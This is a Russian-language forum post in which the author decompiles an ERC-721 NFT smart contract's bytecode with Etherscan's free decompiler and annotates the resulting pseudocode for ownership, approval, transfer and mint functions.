000000000000000000000008152600401610c84906123a2565b60405180910390fd5b50565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16610d0b836106be565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600080610d5d836106be565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d9f5750610d9e8185610a83565b5b80610ddd57508373ffffffffffffffffffffffffffffffffffffffff16610dc5846104e0565b73ffffffffffffffffffffffffffffffffffffffff16145b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16610e06826106be565b73ffffffffffffffffffffffffffffffffffffffff1614610e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e53906125b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ecc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec39061264a565b60405180910390fd5b610ed78383836116b7565b610ee2600082610c98565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f329190612699565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8991906126cd565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46110488383836116bc565b505050565b611055610c90565b73ffffffffffffffffffffffffffffffffffffffff1661107361083c565b73ffffffffffffffffffffffffffffffffffffffff16146110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c09061276f565b60405180910390fd5b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f7906127db565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516112f19190611b33565b60405180910390a3505050565b611309848484610de6565b611315848484846116c1565b611354576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134b9061286d565b60405180910390fd5b50505050565b606060405180602001604052806000815250905090565b606061137c82610c45565b600061138661135a565b905060008151116113a657604051806020016040528060008152506113d1565b806113b084611858565b6040516020016113c1929190612490565b6040516020818303038152906040525b915050919050565b6001816000016000828254019250508190555050565b600081600001549050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611464906128d9565b60405180910390fd5b6114768161164b565b156114b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ad90612945565b60405180910390fd5b6114c2600083836116b7565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461151291906126cd565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46115d3600083836116bc565b5050565b6115e08261164b565b61161f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611616906129d7565b60405180910390fd5b806006600084815260200190815260200160002090805190602001906116469291906119dc565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b505050565b505050565b60006116e28473ffffffffffffffffffffffffffffffffffffffff166119b9565b1561184b578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261170b610c90565b8786866040518563ffffffff1660e01b815260040161172d9493929190612a4c565b602060405180830381600087803b15801561174757600080fd5b505af192505050801561177857506040513d601f19601f820116820180604052508101906117759190612aad565b60015b6117fb573d80600081146117a8576040519150601f19603f3d011682016040523d82523d6000602084013e6117ad565b606091505b506000815114156117f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ea9061286d565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050611850565b600190505b949350505050565b606060008214156118a0576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506119b4565b600082905060005b600082146118d25780806118bb90612ada565b915050600a826118cb9190612b52565b91506118a8565b60008167ffffffffffffffff8111156118ee576118ed611e54565b5b6040519080825280601f01601f1916602001820160405280156119205781602001600182028036833780820191505090505b5090505b600085146119ad576001826119399190612699565b9150600a856119489190612b83565b603061195491906126cd565b60f81b81838151811061196a57611969612bb4565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856119a69190612b52565b9450611924565b8093505050505b919050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b8280546119e89061216e565b90600052602060002090601f016020900481019282611a0a5760008555611a51565b82601f10611a2357805160ff1916838001178555611a51565b82800160010185558215611a51579182015b82811115611a50578251825591602001919060010190611a35565b5b509050611a5e9190611a62565b5090565b5b80821115611a7b576000816000905550600101611a63565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b611ac881611a93565b8114611ad357600080fd5b50565b600081359050611ae581611abf565b92915050565b600060208284031215611b0157611b00611a89565b5b6000611b0f84828501611ad6565b91505092915050565b60008115159050919050565b611b2d81611b18565b82525050565b6000602082019050611b486000830184611b24565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b88578082015181840152602081019050611b6d565b83811115611b97576000848401525b50505050565b6000601f19601f8301169050919050565b6000611bb982611b4e565b611bc38185611b59565b9350611bd3818560208601611b6a565b611bdc81611b9d565b840191505092915050565b60006020820190508181036000830152611c018184611bae565b905092915050565b6000819050919050565b611c1c81611c09565b8114611c2757600080fd5b50565b600081359050611c3981611c13565b92915050565b600060208284031215611c5557611c54611a89565b5b6000611c6384828501611c2a565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c9782611c6c565b9050919050565b611ca781611c8c565b82525050565b6000602082019050611cc26000830184611c9e565b92915050565b611cd181611c8c565b8114611cdc57600080fd5b50565b600081359050611cee81611cc8565b92915050565b60008060408385031215611d0b57611d0a611a89565b5b6000611d1985828601611cdf565b9250506020611d2a85828601611c2a565b9150509250929050565b600080600060608486031215611d4d57611d4c611a89565b5b6000611d5b86828701611cdf565b9350506020611d6c86828701611cdf565b9250506040611d7d86828701611c2a565b9150509250925092565b600060208284031215611d9d57611d9c611a89565b5b6000611dab84828501611cdf565b91505092915050565b611dbd81611c09565b82525050565b6000602082019050611dd86000830184611db4565b92915050565b611de781611b18565b8114611df257600080fd5b50565b600081359050611e0481611dde565b92915050565b60008060408385031215611e2157611e20611a89565b5b6000611e2f85828601611cdf565b9250506020611e4085828601611df5565b9150509250929050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611e8c82611b9d565b810181811067ffffffffffffffff82111715611eab57611eaa611e54565b5b80604052505050565b6000611ebe611a7f565b9050611eca8282611e83565b919050565b600067ffffffffffffffff821115611eea57611ee9611e54565b5b611ef382611b9d565b9050602081019050919050565b82818337600083830152505050565b6000611f22611f1d84611ecf565b611eb4565b905082815260208101848484011115611f3e57611f3d611e4f565b5b611f49848285611f00565b509392505050565b600082601f830112611f6657611f65611e4a565b5b8135611f76848260208601611f0f565b91505092915050565b60008060008060808587031215611f9957611f98611a89565b5b6000611fa787828801611cdf565b9450506020611fb887828801611cdf565b9350506040611fc987828801611c2a565b925050606085013567ffffffffffffffff811115611fea57611fe9611a8e565b5b611ff687828801611f51565b91505092959194509250565b6000806040838503121561201957612018611a89565b5b600061202785828601611cdf565b925050602061203885828601611cdf565b9150509250929050565b600067ffffffffffffffff82111561205d5761205c611e54565b5b61206682611b9d565b9050602081019050919050565b600061208661208184612042565b611eb4565b9050828152602081018484840111156120a2576120a1611e4f565b5b6120ad848285611f00565b509392505050565b600082601f8301126120ca576120c9611e4a565b5b81356120da848260208601612073565b91505092915050565b600080604083850312156120fa576120f9611a89565b5b600061210885828601611cdf565b925050602083013567ffffffffffffffff81111561212957612128611a8e565b5b612135858286016120b5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061218657607f821691505b6020821081141561219a5761219961213f565b5b50919050565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006121fc602183611b59565b9150612207826121a0565b604082019050919050565b6000602082019050818103600083015261222b816121ef565b9050919050565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f7420746f60008201527f6b656e206f776e6572206e6f7220617070726f76656420666f7220616c6c0000602082015250565b600061228e603e83611b59565b915061229982612232565b604082019050919050565b600060208201905081810360008301526122bd81612281565b9050919050565b7f4552433732313a2063616c6c6572206973206e6f7420746f6b656e206f776e6560008201527f72206e6f7220617070726f766564000000000000000000000000000000000000602082015250565b6000612320602e83611b59565b915061232b826122c4565b604082019050919050565b6000602082019050818103600083015261234f81612313565b9050919050565b7f4552433732313a20696e76616c696420746f6b656e2049440000000000000000600082015250565b600061238c601883611b59565b915061239782612356565b602082019050919050565b600060208201905081810360008301526123bb8161237f565b9050919050565b7f4552433732313a2061646472657373207a65726f206973206e6f74206120766160008201527f6c6964206f776e65720000000000000000000000000000000000000000000000602082015250565b600061241e602983611b59565b9150612429826123c2565b604082019050919050565b6000602082019050818103600083015261244d81612411565b9050919050565b600081905092915050565b600061246a82611b4e565b6124748185612454565b9350612484818560208601611b6a565b80840191505092915050565b600061249c828561245f565b91506124a8828461245f565b91508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612510602683611b59565b915061251b826124b4565b604082019050919050565b6000602082019050818103600083015261253f81612503565b9050919050565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b60006125a2602583611b59565b91506125ad82612546565b604082019050919050565b600060208201905081810360008301526125d181612595565b9050919050565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612634602483611b59565b915061263f826125d8565b604082019050919050565b6000602082019050818103600083015261266381612627565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126a482611c09565b91506126af83611c09565b9250828210156126c2576126c161266a565b5b828203905092915050565b60006126d882611c09565b91506126e383611c09565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127185761271761266a565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612759602083611b59565b915061276482612723565b602082019050919050565b600060208201905081810360008301526127888161274c565b9050919050565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b60006127c5601983611b59565b91506127d08261278f565b602082019050919050565b600060208201905081810360008301526127f4816127b8565b9050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b6000612857603283611b59565b9150612862826127fb565b604082019050919050565b600060208201905081810360008301526128868161284a565b9050919050565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b60006128c3602083611b59565b91506128ce8261288d565b602082019050919050565b600060208201905081810360008301526128f2816128b6565b9050919050565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b600061292f601c83611b59565b915061293a826128f9565b602082019050919050565b6000602082019050818103600083015261295e81612922565b9050919050565b7f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60008201527f6578697374656e7420746f6b656e000000000000000000000000000000000000602082015250565b60006129c1602e83611b59565b91506129cc82612965565b604082019050919050565b600060208201905081810360008301526129f0816129b4565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000612a1e826129f7565b612a288185612a02565b9350612a38818560208601611b6a565b612a4181611b9d565b840191505092915050565b6000608082019050612a616000830187611c9e565b612a6e6020830186611c9e565b612a7b6040830185611db4565b8181036060830152612a8d8184612a13565b905095945050505050565b600081519050612aa781611abf565b92915050565b600060208284031215612ac357612ac2611a89565b5b6000612ad184828501612a98565b91505092915050565b6000612ae582611c09565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b1857612b1761266a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b5d82611c09565b9150612b6883611c09565b925082612b7857612b77612b23565b5b828204905092915050565b6000612b8e82611c09565b9150612b9983611c09565b925082612ba957612ba8612b23565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fdfea2646970667358221220fcc2fb3d07fdee3a989ff31341465cb8a31cb6190911bd18dc24dd9008047e8964736f6c63430008090033

Вот думаю засада.
Что делать когда не знаешь что делать - 1 идти в гугл. Так и сделаем. А там кукиш. Везде написано типа нельзя, надо купить платный инструмент и бла бла. А Карл то мёртв, нельзя бросить трупак друга просто так! И это привело меня в выведению нового правила когда не знаешь что делать - думать головой и смотреть глазами! Гугл выбираем если вариант думать головой не помогает)

Рядом есть -> декомпилировать байт-код
Наша взяла, подумал я и смело тыкнул декомпилятору по кнопке.

Снимок экрана от 1.png

И это все в бесплатном Etherscan'е !!
К тому времени тазик с водой уже остыл, а декомпиляция еще не завершилась, подлив горяченькой я увидел следующий кодЪ
Точнее что то среднее между python и solidity. Но выглядело впечталяюще и вполне просто к изучению. По ходу я буду его коментировать

Code:Copy to clipboard

# Palkeoramix decompiler.

def storage:                                                    //функция внесения переменных в STORAGE - неизменяемую память/непосредственно в блокчейн/ требует много gas как мы потом увидим это правда
  stor0 is array of struct at storage 0
  stor1 is array of struct at storage 1
  ownerOf is mapping of addr at storage 2
  balanceOf is mapping of uint256 at storage 3    //mapping - это как словари в пайтон
  approved is mapping of addr at storage 4
  stor5 is mapping of uint8 at storage 5
  stor6 is mapping of struct at storage 6
  owner is addr at storage 7
  stor8 is uint256 at storage 8

def getApproved(uint256 _tokenId) payable:  //функция запроса авторизации токена
  require calldata.size - 4 >=′ 32
  require _tokenId == _tokenId
  if not ownerOf[_tokenId]:
      revert with 0, 'ERC721: invalid token ID'
  return approved[_tokenId]

def ownerOf(uint256 _tokenId) payable: //возвращает адресс владельца токена
  require calldata.size - 4 >=′ 32
  require _tokenId == _tokenId
  if not ownerOf[_tokenId]:
      revert with 0, 'ERC721: invalid token ID'
  return ownerOf[_tokenId]

def balanceOf(address _owner) payable:  // сколько ntf у овнера
  require calldata.size - 4 >=′ 32
  require _owner == _owner
  if not _owner:
      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000, 'ERC721: address zero is not a valid owner'
  return balanceOf[addr(_owner)]

def owner() payable:
  return owner

def isApprovedForAll(address _owner, address _operator) payable:   //если return true - то _operator получает контроль над всеми NTF
  require calldata.size - 4 >=′ 64
  require _owner == _owner
  require _operator == _operator
  return bool(stor5[addr(_owner)][addr(_operator)])

#
#  Regular functions
#

def _fallback() payable: # default function   // выполняется eсли идентификатор функции не соответствует ни одной из доступных функций в смарт-контракте
  revert

def renounceOwnership() payable:                    // функция для проверки что вызывается собственником, отказ от права собственности оставит контракт без владельца, тем самым удаляя любые
  if owner != caller:                                                                //функции, которые доступны только владельцу.
      revert with 0, 'Ownable: caller is not the owner'
  owner = 0
  log OwnershipTransferred(                                   // логирование
        address previousOwner=owner,
        address newOwner=0)

def transferOwnership(address _newOwner) payable:      //передает возможность стать owner, может быть вызвана только owner,  дальше следует переназначение адресов и прочих зависимостей
  require calldata.size - 4 >=ΓÇ▓ 32                                  //переменных
  require _newOwner == _newOwner
  if owner != caller:
      revert with 0, 'Ownable: caller is not the owner'
  if not _newOwner:
      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000, 'Ownable: new owner is the zero address'
  owner = _newOwner
  log OwnershipTransferred(
        address previousOwner=owner,
        address newOwner=_newOwner)

def supportsInterface(bytes4 _interfaceId) payable:
  require calldata.size - 4 >=′ 32
  require _interfaceId == Mask(32, 224, _interfaceId)
  if Mask(32, 224, _interfaceId) == 0x80ac58cd00000000000000000000000000000000000000000000000000000000:
      return True
  if Mask(32, 224, _interfaceId) == 0x5b5e139f00000000000000000000000000000000000000000000000000000000:
      return True
  return (Mask(32, 224, _interfaceId) == 0x1ffc9a700000000000000000000000000000000000000000000000000000000)

def setApprovalForAll(address _to, bool _approved) payable:
  require calldata.size - 4 >=′ 64
  require _to == _to
  require _approved == _approved
  if caller == _to:
      revert with 0, 'ERC721: approve to caller'
  stor5[caller][addr(_to)] = uint8(_approved)
  log ApprovalForAll(
        address owner=_approved,
        address operator=caller,
        bool approved=_to)

def approve(address _spender, uint256 _value) payable:
  require calldata.size - 4 >=′ 64
  require _spender == _spender
  require _value == _value
  if not ownerOf[_value]:
      revert with 0, 'ERC721: invalid token ID'
  if _spender == ownerOf[_value]:
      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000, 'ERC721: approval to current owner'
  if ownerOf[_value] != caller:
      if not stor5[stor2[_value]][caller]:
          revert with 0x8c379a000000000000000000000000000000000000000000000000000000000,
                      'ERC721: approve caller is not token owner nor approved for all'
  approved[_value] = _spender
  if not ownerOf[_value]:
      revert with 0, 'ERC721: invalid token ID'
  log Approval(
        address tokenOwner=ownerOf[_value],
        address spender=_spender,
        uint256 tokens=_value)


    // ниже пошли функции перевода по аддресам при покупке - продаже с привлечением третьх лиц и логгировании


def transferFrom(address _from, address _to, uint256 _value) payable:
  require calldata.size - 4 >=′ 96
  require _from == _from
  require _to == _to
  require _value == _value
  if not ownerOf[_value]:
      revert with 0, 'ERC721: invalid token ID'
  if ownerOf[_value] != caller:
      if not stor5[stor2[_value]][caller]:
          if not ownerOf[_value]:
              revert with 0, 'ERC721: invalid token ID'
          if approved[_value] != caller:
              revert with 0x8c379a000000000000000000000000000000000000000000000000000000000, 'ERC721: caller is not token owner nor approved'
  if not ownerOf[_value]:
      revert with 0, 'ERC721: invalid token ID'
  if ownerOf[_value] != _from:
      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000, 'ERC721: transfer from incorrect owner'
  if not _to:
      revert with 0x8c379a000000000000000000000000000000000000000000000000000000000, 'ERC721: transfer to the zero address'
  approved[_value] = 0
  if not ownerOf[_value]:
      revert with 0, 'ERC721: invalid token ID'
  log Approval(
        address tokenOwner=ownerOf[_value],
        address spender=0,
        uint256 tokens=_value)
  if balanceOf[addr(_from)] < 1:
      revert with 'NH{q', 17
  balanceOf[addr(_from)]--
  if balanceOf[addr(_to)] > -2:
      revert with 'NH{q', 17
  balanceOf[addr(_to)]++
  ownerOf[_value] = _to
  log Transfer(
        address from=_from,
        address to=_to,
        uint256 tokens=_value)


// реализация передачи NTF, с логированием изменением баланса owner'a  и покупателя, реализации исключения ошибок (revert), логирования передачи NTF


def safeTransferFrom(address _from, address _to, uint256 _tokenId) payable:
  require calldata.size - 4 >=′ 96
  require _from == _from
  require _to == _to
  require _tokenId == _tokenId
  if not ownerOf[_tokenId]:
      revert with 0, 'ERC721: invalid token ID'
  if ownerOf[_tokenId] != caller:
      if not stor5[stor2[_tokenId]][caller]:
          if not ownerOf[_tokenId]:
              revert with 0, 'ERC721: invalid token ID'
          if approved[_tokenId] != caller:
              revert with 0, 'ERC721: caller is not token owner nor approved'
  if not ownerOf[_tokenId]:
      revert with 0, 'ERC721: invalid token ID'
  if ownerOf[_tokenId] != _from:
      revert with 0, 'ERC721: transfer from incorrect owner'
  if not _to:
      revert with 0, 'ERC721: transfer to the zero address'
  approved[_tokenId] = 0
  if not ownerOf[_tokenId]:
      revert with 0, 'ERC721: invalid token ID'
  log Approval(
        address tokenOwner=ownerOf[_tokenId],
        address spender=0,
        uint256 tokens=_tokenId)
  if balanceOf[addr(_from)] < 1:
      revert with 'NH{q', 17
  balanceOf[addr(_from)]--
  if balanceOf[addr(_to)] > -2:
      revert with 'NH{q', 17
  balanceOf[addr(_to)]++
  ownerOf[_tokenId] = _to
  log Transfer(
        address from=_from,
        address to=_to,
        uint256 tokens=_tokenId)
  if ext_code.size(_to) > 0:
      require ext_code.size(_to)
      call _to.onERC721Received(address operator, address from, uint256 childTokenId, bytes data) with:
           gas gas_remaining wei
          args 0, uint32(caller), addr(_from), _tokenId, 128, 0
      if not ext_call.success:
          if not return_data.size:
              revert with 0, 'ERC721: transfer to non ERC721Receiver implementer'
          if not return_data.size:
              revert with 0, 'ERC721: transfer to non ERC721Receiver implementer'
          revert with ext_call.return_data[0 len return_data.size]
      require return_data.size >=′ 32
      require ext_call.return_data == Mask(32, 224, ext_call.return_data[0])
      if Mask(32, 224, ext_call.return_data[0]) != 0x150b7a0200000000000000000000000000000000000000000000000000000000:
          revert with 0, 'ERC721: transfer to non ERC721Receiver implementer'



// неизвестная какая то функция принимающая 2 параметра: 1 - беззнаковая переменная _param1 и массив _param2
// и тут я понимаю что она сравнивает длинну _param2 с колличествои wai в eth а из как известно 1 000 000 000 000 000 000
//по количеству чисел прям подходит
// а еще это 18446744073709551615 == -1 вот https://stackoverflow.com/questions/40608111/why-is-18446744073709551615-1-true
def unknowneacabe14(uint256 _param1, array _param2) payable:
  require calldata.size - 4 >=′ 64
  require _param1 == addr(_param1)
  require _param2 <= 18446744073709551615
  require _param2 + 35 <′ calldata.size
  if _param2.length > 18446744073709551615:
      revert with 'NH{q', 65
  if ceil32(ceil32(_param2.length)) + 97 > 18446744073709551615 or ceil32(ceil32(_param2.length)) + 97 < 96:
      revert with 'NH{q', 65
  require _param2 + _param2.length + 36 <= calldata.size
  if owner != caller:
      revert with 0, 'Ownable: caller is not the owner'
  stor8++
  if not addr(_param1):
      revert with 0, 'ERC721: mint to the zero address'
  if ownerOf[stor8]:
      revert with 0, 'ERC721: token already minted'
  if balanceOf[addr(_param1)] > -2:
      revert with 'NH{q', 17
  balanceOf[addr(_param1)]++
  ownerOf[stor8] = addr(_param1)
  log Transfer(
        address from=0,
        address to=addr(_param1),
        uint256 tokens=stor8)
  if not ownerOf[stor8]:
      revert with 0, 'ERC721URIStorage: URI set of nonexistent token'
  if stor6[stor8].field_0:
      if stor6[stor8].field_0 == stor6[stor8].field_1 < 32:
          revert with 'NH{q', 34
      if _param2.length:
          stor6[stor8][].field_0 = Array(len=_param2.length, data=_param2[all])
      else:
          stor6[stor8].field_0 = 0
          idx = 0
          while stor6[stor8].field_1 + 31 / 32 > idx:
              stor6[stor8][idx].field_0 = 0
              idx = idx + 1
              continue
  else:
      if stor6[stor8].field_0 == stor6[stor8].field_1 < 32:
          revert with 'NH{q', 34
      if _param2.length:
          stor6[stor8][].field_0 = Array(len=_param2.length, data=_param2[all])
      else:
          stor6[stor8].field_0 = 0
          idx = 0
          while stor6[stor8].field_1 + 31 / 32 > idx:
              stor6[stor8][idx].field_0 = 0
              idx = idx + 1
              continue
  return stor8 
//


//остальной код не слишком важный для детального рассмотрения, так как
//там происходит движение средств и токенов от stor0 к stor8, которые в 1 абзаце кода заложены в блокчейн через STORAGE0 и STORAGE8
//я так и не понял что же точно значит этот NH{q, и ΓÇ▓ 128

def safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) payable:
  require calldata.size - 4 >=′ 128
  require _from == _from
  require _to == _to
  require _tokenId == _tokenId
  require _data <= 18446744073709551615
  require _data + 35 <′ calldata.size
  if _data.length > 18446744073709551615:
      revert with 'NH{q', 65
  if ceil32(ceil32(_data.length)) + 97 > 18446744073709551615 or ceil32(ceil32(_data.length)) + 97 < 96:
      revert with 'NH{q', 65
  require _data + _data.length + 36 <= calldata.size
  if not ownerOf[_tokenId]:
      revert with 0, 'ERC721: invalid token ID'
  if ownerOf[_tokenId] != caller:
      if not stor5[stor2[_tokenId]][caller]:
          if not ownerOf[_tokenId]:
              revert with 0, 'ERC721: invalid token ID'
          if approved[_tokenId] != caller:
              revert with 0, 'ERC721: caller is not token owner nor approved'
  if not ownerOf[_tokenId]:
      revert with 0, 'ERC721: invalid token ID'
  if ownerOf[_tokenId] != _from:
      revert with 0, 'ERC721: transfer from incorrect owner'
  if not _to:
      revert with 0, 'ERC721: transfer to the zero address'
  approved[_tokenId] = 0
  if not ownerOf[_tokenId]:
      revert with 0, 'ERC721: invalid token ID'
  log Approval(
        address tokenOwner=ownerOf[_tokenId],
        address spender=0,
        uint256 tokens=_tokenId)
  if balanceOf[addr(_from)] < 1:
      revert with 'NH{q', 17
  balanceOf[addr(_from)]--
  if balanceOf[addr(_to)] > -2:
      revert with 'NH{q', 17
  balanceOf[addr(_to)]++
  ownerOf[_tokenId] = _to
  log Transfer(
        address from=_from,
        address to=_to,
        uint256 tokens=_tokenId)
  if ext_code.size(_to) > 0:
      require ext_code.size(_to)
      call _to.onERC721Received(address operator, address from, uint256 childTokenId, bytes data) with:
           gas gas_remaining wei
          args caller, addr(_from), _tokenId, Array(len=_data.length, data=_data[all])
      if not ext_call.success:
          if not return_data.size:
              if not _data.length:
                  revert with 0, 'ERC721: transfer to non ERC721Receiver implementer'
              revert with _data[all]
          if not return_data.size:
              revert with 0, 'ERC721: transfer to non ERC721Receiver implementer'
          revert with ext_call.return_data[0 len return_data.size]
      require return_data.size >=′ 32
      require ext_call.return_data == Mask(32, 224, ext_call.return_data[0])
      if Mask(32, 224, ext_call.return_data[0]) != 0x150b7a0200000000000000000000000000000000000000000000000000000000:
          revert with 0, 'ERC721: transfer to non ERC721Receiver implementer'

def name() payable:
  if bool(stor0.length):
      if bool(stor0.length) == stor0.length.field_1 < 32:
          revert with 'NH{q', 34
      if bool(stor0.length):
          if bool(stor0.length) == stor0.length.field_1 < 32:
              revert with 'NH{q', 34
          if stor0.length.field_1:
              if 31 < stor0.length.field_1:
                  mem[128] = uint256(stor0.field_0)
                  idx = 128
                  s = 0
                  while stor0.length.field_1 + 96 > idx:
                      mem[idx + 32] = stor0[s].field_256
                      idx = idx + 32
                      s = s + 1
                      continue
                  return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)])
              mem[128] = 256 * stor0.length.field_8
      else:
          if bool(stor0.length) == stor0.length.field_1 < 32:
              revert with 'NH{q', 34
          if stor0.length.field_1:
              if 31 < stor0.length.field_1:
                  mem[128] = uint256(stor0.field_0)
                  idx = 128
                  s = 0
                  while stor0.length.field_1 + 96 > idx:
                      mem[idx + 32] = stor0[s].field_256
                      idx = idx + 32
                      s = s + 1
                      continue
                  return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)])
              mem[128] = 256 * stor0.length.field_8
      mem[ceil32(stor0.length.field_1) + 192 len ceil32(stor0.length.field_1)] = mem[128 len ceil32(stor0.length.field_1)]
      if ceil32(stor0.length.field_1) > stor0.length.field_1:
          mem[ceil32(stor0.length.field_1) + stor0.length.field_1 + 192] = 0
      return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]),
  if bool(stor0.length) == stor0.length.field_1 < 32:
      revert with 'NH{q', 34
  if bool(stor0.length):
      if bool(stor0.length) == stor0.length.field_1 < 32:
          revert with 'NH{q', 34
      if stor0.length.field_1:
          if 31 < stor0.length.field_1:
              mem[128] = uint256(stor0.field_0)
              idx = 128
              s = 0
              while stor0.length.field_1 + 96 > idx:
                  mem[idx + 32] = stor0[s].field_256
                  idx = idx + 32
                  s = s + 1
                  continue
              return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)])
          mem[128] = 256 * stor0.length.field_8
  else:
      if bool(stor0.length) == stor0.length.field_1 < 32:
          revert with 'NH{q', 34
      if stor0.length.field_1:
          if 31 < stor0.length.field_1:
              mem[128] = uint256(stor0.field_0)
              idx = 128
              s = 0
              while stor0.length.field_1 + 96 > idx:
                  mem[idx + 32] = stor0[s].field_256
                  idx = idx + 32
                  s = s + 1
                  continue
              return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)])
          mem[128] = 256 * stor0.length.field_8
  mem[ceil32(stor0.length.field_1) + 192 len ceil32(stor0.length.field_1)] = mem[128 len ceil32(stor0.length.field_1)]
